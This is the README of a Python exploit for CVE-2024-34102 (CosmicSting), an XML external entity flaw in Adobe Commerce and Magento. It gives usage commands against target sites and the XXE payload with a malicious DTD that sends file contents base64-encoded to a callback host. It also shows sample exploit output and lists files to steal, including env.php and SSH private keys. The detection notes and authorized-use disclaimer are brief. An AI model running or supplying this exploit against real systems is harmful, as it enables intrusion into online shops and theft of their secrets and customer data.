nmmorette/cve-2024-34102CVE-2024-34102 exploit for python3
Exploit for CVE-2024-34102 (CosmicSting) - XML External Entity (XXE) vulnerability in Adobe Commerce and Magento.
CVE-2024-34102 is a critical XXE (XML External Entity) vulnerability affecting:
This vulnerability allows an unauthenticated attacker to:
CVSS Score: 9.8 (Critical)
This exploit is based on the original work by:
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102
# Install dependencies
pip install -r requirements.txt
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com
Terminal 1 - DTD Server:
sudo python3 server_dtd.py
Terminal 2 - Exploit:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com \
--dtd-server YOUR-IP:8000
Terminal 1 - DTD Server:
sudo python3 server_dtd.py
Terminal 2 - Callback Server (auto-decodes):
sudo python3 callback_server.py
Terminal 3 - Exploit:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c YOUR-CALLBACK-IP \
--dtd-server YOUR-DTD-IP:8000
-u, --url - Target URL (base domain)-f, --file - File to read from server (e.g., /etc/passwd)-c, --callback - Callback server (IP/domain)--dtd-server - Custom server to host DTD file--https - Use HTTPS for callback (default: HTTP)python3 exploit.py \
-u https://vulnerable-site.com \
-f /etc/passwd \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /var/www/html/app/etc/env.php \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /home/ubuntu/.ssh/id_rsa \
-c abc123.burpcollaborator.net \
--dtd-server 192.168.1.100:8000 \
--https
The exploit uses Out-of-Band XXE technique to exfiltrate data:
<!-- Payload sent to target -->
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
The target server downloads the malicious DTD:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">
The server processes the XML, reads the file, encodes it in base64 and sends it to the callback:
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http
DTD will be dynamically generated with:
[*] Callback: http://abc123.oastify.com
[*] File: /etc/passwd
DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...
=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>
To decode the exfiltrated data:
[*] echo 'BASE64_STRING' | base64 -d
[!] Check your Burp Collaborator or Oastify dashboard now!
Detection:
/rest/V1/guest-carts/*/estimate-shipping-methods endpoints<!ENTITY)Mitigation:
Interesting files to test:
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ
This exploit is provided for educational and security research purposes only.
Using this code to test systems without explicit authorization is ILLEGAL.
You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests
DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity
The author is not responsible for misuse of this code.
⭐ If this project was useful, please consider giving it a star!